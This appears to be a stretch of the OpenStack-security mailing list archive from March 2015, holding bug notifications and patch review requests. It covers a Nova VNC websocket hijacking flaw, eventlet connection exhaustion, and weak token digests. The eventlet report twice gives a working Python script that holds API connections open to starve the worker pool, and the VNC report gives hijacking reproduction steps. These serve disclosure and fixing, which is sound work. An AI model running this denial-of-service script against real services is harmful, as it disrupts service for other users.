+0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From tristan.cacqueray at enovance.com Tue Mar 10 15:30:05 2015 From: tristan.cacqueray at enovance.com (Tristan Cacqueray) Date: Tue, 10 Mar 2015 15:30:05 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150310153007.14597.69785.launchpad@wampee.canonical.com> ** Changed in: ossa Assignee: (unassigned) => Tristan Cacqueray (tristan-cacqueray) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1361360 at bugs.launchpad.net Tue Mar 10 16:14:06 2015 From: 1361360 at bugs.launchpad.net (Alan Pevec) Date: Tue, 10 Mar 2015 16:14:06 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150310161407.25332.896.malone@chaenomeles.canonical.com> If keepalive is enough to fix this bug, nova/neutron Icehouse backports could be amended to drop socket_timeout part. If not, Cinder Icehouse fix is incomplete. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From abhishek.kekane at nttdata.com Tue Mar 10 17:34:30 2015 From: abhishek.kekane at nttdata.com (Abhishek Kekane) Date: Tue, 10 Mar 2015 17:34:30 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150310173430.18487.41622.malone@gac.canonical.com> Hi Alan, keepalive is enough to fix this bug. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From 1362343 at bugs.launchpad.net Tue Mar 10 19:05:06 2015 From: 1362343 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 10 Mar 2015 19:05:06 -0000 Subject: [Openstack-security] [Bug 1362343] Related fix merged to python-keystoneclient (master) References: <20140827212906.28020.52551.malonedeb@wampee.canonical.com> Message-ID: <20150310190506.18487.57592.malone@gac.canonical.com> Reviewed: https://review.openstack.org/117372 Committed: https://git.openstack.org/cgit/openstack/python-keystoneclient/commit/?id=b317e312aadbdbbe8937172bc5d4a7dd2a8d68d9 Submitter: Jenkins Branch: master commit b317e312aadbdbbe8937172bc5d4a7dd2a8d68d9 Author: Brant Knudson Date: Wed Aug 27 17:53:41 2014 -0500 token signing support alternative message digest The functions for creating signed tokens in common.cms always used sha256 for the message digest. This might be inadequate in the future so the digest algorithm shouldn't be hard-coded. A parameter is added to allow choosing a different digest algorithm. SecurityImpact Change-Id: Ie19d093d0494443ce4cd880ae1f92dffd5c361ef Related-Bug: #1362343 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1362343 Title: weak digest algorithm for PKI Status in OpenStack Identity (Keystone): In Progress Status in Python client library for Keystone: Fix Released Bug description: The digest algorithm for PKI tokens is the openssl default of sha1. This is a weak algorithm and some security standards require a stronger algorithm such as sha256. Keystone should make the token digest hash algorithm configurable so that deployments can use a stronger algorithm. Also, the default could be stronger. To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1362343/+subscriptions From gerrit2 at review.openstack.org Tue Mar 10 22:22:03 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 10 Mar 2015 22:22:03 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I3a361d6590d1800b85791f23ac1cdfd79815341b Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/144714 Log: commit bdd50f01f4ac2d940fc55e68b419c4506be3d6b6 Author: abhishekkekane Date: Tue Oct 21 04:15:15 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Icehouse backport note: socket_timeout was dropped, it was introduced in 0.14 and Icehouse evenlet lower bound is 0.13 https://github.com/eventlet/eventlet/commit/7d4916f01462de09cb58853d9de2e85777c2ad5b DocImpact: Added wsgi_keep_alive option (default=True). SecurityImpact Closes-Bug: #1361360 Change-Id: I3a361d6590d1800b85791f23ac1cdfd79815341b (cherry picked from commit 8e7a0dbb12082f6159d98a4628fb8a6fcd05e95a) From gerrit2 at review.openstack.org Wed Mar 11 01:20:32 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 01:20:32 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I3a361d6590d1800b85791f23ac1cdfd79815341b Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/144714 Log: commit 4cdbefc202acc2499c253da625db48d6165b7c84 Author: abhishekkekane Date: Tue Oct 21 04:15:15 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Icehouse backport note: socket_timeout was dropped, it was introduced in 0.14[*] and Icehouse eventlet lower bound is 0.13 [*] https://github.com/eventlet/eventlet/commit/7d4916f01462de09cb58853d9de2e85777c2ad5b DocImpact: Added wsgi_keep_alive option (default=True). SecurityImpact Closes-Bug: #1361360 Change-Id: I3a361d6590d1800b85791f23ac1cdfd79815341b (cherry picked from commit 8e7a0dbb12082f6159d98a4628fb8a6fcd05e95a) From gerrit2 at review.openstack.org Wed Mar 11 07:28:43 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 07:28:43 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/130824 Log: commit 221b508819b126dd83f28f7b6eb9310b90428b37 Author: abhishekkekane Date: Tue Oct 21 04:10:57 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 From gerrit2 at review.openstack.org Wed Mar 11 10:40:49 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 10:40:49 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I93aaca24935a4f3096210233097dd6b8c5440176 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/162964 Log: commit d569ed9db9dc1941ef74d38f85f8f67a85ff10b0 Author: abhishekkekane Date: Tue Oct 21 04:39:59 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. DocImpact: Added http_keepalive option (default=True). Conflicts: doc/source/configuring.rst etc/glance-api.conf glance/common/wsgi.py glance/tests/unit/test_opts.py SecurityImpact Closes-Bug: #1361360 Change-Id: I93aaca24935a4f3096210233097dd6b8c5440176 (cherry picked from commit 16a821e00d15520d2f6e940e184bd289b8782620) From gerrit2 at review.openstack.org Wed Mar 11 14:46:55 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 14:46:55 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/163033 Log: commit b8cda8657a057082d6663521de784e89501de455 Author: Dave McCowan Date: Mon Mar 2 15:00:22 2015 -0500 Websocket Proxy should verify Origin header If the Origin HTTP header passed in the WebSocket handshake does not match the host, this could indicate an attempt at a cross-site attack. This commit adds a check to verify the origin matches the host. SecurityImpact Change-Id: Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Closes-Bug: 1409142 From gerrit2 at review.openstack.org Wed Mar 11 15:58:21 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 15:58:21 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit 1e09f803c0826d1baab73411665f3014c08b5ab7 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to leave the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From 1118066 at bugs.launchpad.net Wed Mar 11 18:29:57 2015 From: 1118066 at bugs.launchpad.net (Joe Gordon) Date: Wed, 11 Mar 2015 18:29:57 -0000 Subject: [Openstack-security] [Bug 1118066] Re: Nova should confirm quota requests against Keystone References: <20130207064604.19234.83660.malonedeb@gac.canonical.com> Message-ID: <20150311182958.24854.39111.launchpad@chaenomeles.canonical.com> ** Tags added: quotas -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1118066 Title: Nova should confirm quota requests against Keystone Status in OpenStack Compute (Nova): Confirmed Bug description: os-quota-sets API should check requests for /v2/:tenant/os-quota-sets/ against Keystone to ensure that :tenant does exist. POST requests to a non-existant tenant should fail with a 400 error code. GET requests to a non-existant tenant may fail with a 400 error code. Current behavior is to return 200 with the default quotas. A slightly incompatible change would be to return a 302 redirect to /v2/:tenant /os-quota-sets/defaults in this case. Edit (2014-01-22) Original Description -------------------- GET /v2/:tenant/os-quota-sets/:this_tenant_does_not_exist returns 200 with the default quotas. Moreover POST /v2/:tenant/os-quota-sets/:this_tenant_does_not_exist with updated quotas succeeds and that metadata is saved! I'm not sure if this is a bug or not. I cannot find any documentation on this interface. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1118066/+subscriptions From gerrit2 at review.openstack.org Wed Mar 11 20:45:55 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 20:45:55 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Icda3f8aad0e5dde0be2b12accf03f092634ecde3 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/163604 Log: commit 2d422981521301516d5f2c93726ea01ec519fe2a Author: Dave McCowan Date: Mon Mar 2 15:00:22 2015 -0500 Websocket Proxy should verify Origin header If the Origin HTTP header passed in the WebSocket handshake does not match the host, this could indicate an attempt at a cross-site attack. This commit adds a check to verify the origin matches the host. SecurityImpact Change-Id: Icda3f8aad0e5dde0be2b12accf03f092634ecde3 Closes-Bug: 1409142 From gerrit2 at review.openstack.org Wed Mar 11 20:53:13 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 20:53:13 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change If5047942f03915cc4b1e42a586cf403a4eceab58 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149112 Log: commit 6b0c3fcf60bdd6c938ab568e1d5c4a8d78279d99 Author: Ian Cordasco Date: Wed Jan 21 19:36:03 2015 -0600 Pass Targets to Glance's Policy Enforcer SecurityImpact Change-Id: If5047942f03915cc4b1e42a586cf403a4eceab58 From gerrit2 at review.openstack.org Wed Mar 11 21:01:08 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 21:01:08 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change If5047942f03915cc4b1e42a586cf403a4eceab58 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149112 Log: commit 67c8d3e1e7b339e211431522b38489f1879cdf77 Author: Ian Cordasco Date: Wed Jan 21 19:36:03 2015 -0600 Pass Targets to Glance's Policy Enforcer SecurityImpact Change-Id: If5047942f03915cc4b1e42a586cf403a4eceab58 From gerrit2 at review.openstack.org Wed Mar 11 21:08:30 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 21:08:30 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/163033 Log: commit 6cd05823e2d94f5afae2e9a7144d40e879f6e54b Author: Dave McCowan Date: Mon Mar 2 15:00:22 2015 -0500 Websocket Proxy should verify Origin header If the Origin HTTP header passed in the WebSocket handshake does not match the host, this could indicate an attempt at a cross-site attack. This commit adds a check to verify the origin matches the host. SecurityImpact Change-Id: Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Closes-Bug: 1409142 From tristan.cacqueray at enovance.com Wed Mar 11 21:05:36 2015 From: tristan.cacqueray at enovance.com (Tristan Cacqueray) Date: Wed, 11 Mar 2015 21:05:36 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150311210536.25137.7381.malone@soybean.canonical.com> So two other issues have been found with the proposed patch: 1/ out of browser client that does not set the Origin header won't work. So we are removing the origin check if origin is not set, assuming all vulnerable web-based request would include the Origin header. 2/ Serial console access is also broken for Juno and Kilo. Dave is working on another version. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1118066 at bugs.launchpad.net Wed Mar 11 21:06:34 2015 From: 1118066 at bugs.launchpad.net (Joe Gordon) Date: Wed, 11 Mar 2015 21:06:34 -0000 Subject: [Openstack-security] [Bug 1118066] Re: Nova should confirm quota requests against Keystone References: <20130207064604.19234.83660.malonedeb@gac.canonical.com> Message-ID: <20150311210634.25022.85571.malone@chaenomeles.canonical.com> Just confirmed this is still an issue ** Changed in: nova Assignee: Thang Pham (thang-pham) => (unassigned) ** Changed in: nova Importance: Medium => High -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1118066 Title: Nova should confirm quota requests against Keystone Status in OpenStack Compute (Nova): Confirmed Bug description: os-quota-sets API should check requests for /v2/:tenant/os-quota-sets/ against Keystone to ensure that :tenant does exist. POST requests to a non-existant tenant should fail with a 400 error code. GET requests to a non-existant tenant may fail with a 400 error code. Current behavior is to return 200 with the default quotas. A slightly incompatible change would be to return a 302 redirect to /v2/:tenant /os-quota-sets/defaults in this case. Edit (2014-01-22) Original Description -------------------- GET /v2/:tenant/os-quota-sets/:this_tenant_does_not_exist returns 200 with the default quotas. Moreover POST /v2/:tenant/os-quota-sets/:this_tenant_does_not_exist with updated quotas succeeds and that metadata is saved! I'm not sure if this is a bug or not. I cannot find any documentation on this interface. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1118066/+subscriptions From 1118066 at bugs.launchpad.net Wed Mar 11 21:06:58 2015 From: 1118066 at bugs.launchpad.net (Joe Gordon) Date: Wed, 11 Mar 2015 21:06:58 -0000 Subject: [Openstack-security] [Bug 1118066] Re: Nova should confirm quota requests against Keystone References: <20130207064604.19234.83660.malonedeb@gac.canonical.com> Message-ID: <20150311210658.14566.31888.malone@wampee.canonical.com> Moving priority up based on how many times this bug has been reported -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1118066 Title: Nova should confirm quota requests against Keystone Status in OpenStack Compute (Nova): Confirmed Bug description: os-quota-sets API should check requests for /v2/:tenant/os-quota-sets/ against Keystone to ensure that :tenant does exist. POST requests to a non-existant tenant should fail with a 400 error code. GET requests to a non-existant tenant may fail with a 400 error code. Current behavior is to return 200 with the default quotas. A slightly incompatible change would be to return a 302 redirect to /v2/:tenant /os-quota-sets/defaults in this case. Edit (2014-01-22) Original Description -------------------- GET /v2/:tenant/os-quota-sets/:this_tenant_does_not_exist returns 200 with the default quotas. Moreover POST /v2/:tenant/os-quota-sets/:this_tenant_does_not_exist with updated quotas succeeds and that metadata is saved! I'm not sure if this is a bug or not. I cannot find any documentation on this interface. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1118066/+subscriptions From gerrit2 at review.openstack.org Wed Mar 11 21:16:33 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 21:16:33 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/163033 Log: commit d02b258d24355768ddf4bf3b1f6016b7affc65b2 Author: Dave McCowan Date: Mon Mar 2 15:00:22 2015 -0500 Websocket Proxy should verify Origin header If the Origin HTTP header passed in the WebSocket handshake does not match the host, this could indicate an attempt at a cross-site attack. This commit adds a check to verify the origin matches the host. SecurityImpact Change-Id: Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Closes-Bug: 1409142 From gerrit2 at review.openstack.org Wed Mar 11 22:20:44 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 22:20:44 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit 39dfde4c6516871ca92c57fab7f9599a4aff7dbf Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the 